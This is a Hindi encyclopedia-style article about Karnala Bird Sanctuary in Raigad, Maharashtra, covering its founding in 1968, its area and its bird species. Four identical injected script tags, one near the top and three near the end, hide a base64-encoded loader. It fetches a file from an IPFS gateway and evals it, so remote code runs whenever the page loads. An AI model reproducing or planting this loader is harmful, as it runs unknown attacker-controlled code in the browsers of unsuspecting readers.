कर्नाला पक्षी अभयारण्य  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कर्नाला पक्षी अभयारण्य
विवरण 'कर्नाला पक्षी अभयारण्य' महाराष्ट्र के पर्यटन स्थलों में से एक है। यह अभयारण्य सभी प्रकार के पक्षियों के लिए शानदार आश्रय स्थान है।
राज्य महाराष्ट्र
ज़िला रायगढ़
स्थापना वर्ष 1968
संबंधित लेख महाराष्ट्र, महाराष्ट्र पर्यटन, कर्नाला
अन्य जानकारी पक्षी प्रेमी इस अभयारण्य में पक्षियों की लगभग 150 प्रजातियों को चहचहाते हुए देख सकते हैं। इसके साथ लगभग 37 प्रकार के प्रवासी पक्षियों को भी यहाँ देखा जा सकता है।

कर्नाला पक्षी अभयारण्य रायगढ़ ज़िला, महाराष्ट्र में स्थित है। यह अभयारण्य पृथ्वी का व्यक्तिगत स्वर्ग है। प्राचीन कर्नाला क़िले के निचले सिरे पर स्थित इस अभयारण्य की स्थापना वर्ष 1968 में हुई थी। यह सभी प्रकार के पक्षियों के लिए शानदार आश्रय स्थान है।

  • पक्षी प्रेमी इस अभयारण्य में पक्षियों की लगभग 150 प्रजातियों को चहचहाते हुए देख सकते हैं। इसके साथ ही साथ लगभग 37 प्रकार के प्रवासी पक्षियों को भी यहाँ देखा जा सकता है।
  • मैना और उल्लू यहाँ पाए जाने वाले पक्षियों में से प्रमुख हैं।
  • कर्नाला अभयारण्य का संपूर्ण क्षेत्र हरा-भर और पर्यावरण के अनुकूल है।
  • लगभग 69.79 वर्ग किलोमीटर क्षेत्र में फैले इस अभयारण्य में 150 से अधिक किस्म के पक्षी पूरे साल रहते हैं।
  • अभयारण्य में दुर्लभ पक्षियों की भरमार है। यहाँ 33 पक्षी-गृह बनाए गए हैं, जिनमें पक्षियों की कई प्रजातियां रहती हैं।
  • ठंड के मौसम में क़रीब 40 से अधिक किस्म के प्रवासी पक्षी तथा दूसरे जानवर भी आते हैं।
  • कई प्रकार के औषधीय गुणों वाले पेड़-पौधे भी कर्नाला अभयारण्य में मिलते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=कर्नाला_पक्षी_अभयारण्य&oldid=508635" से लिया गया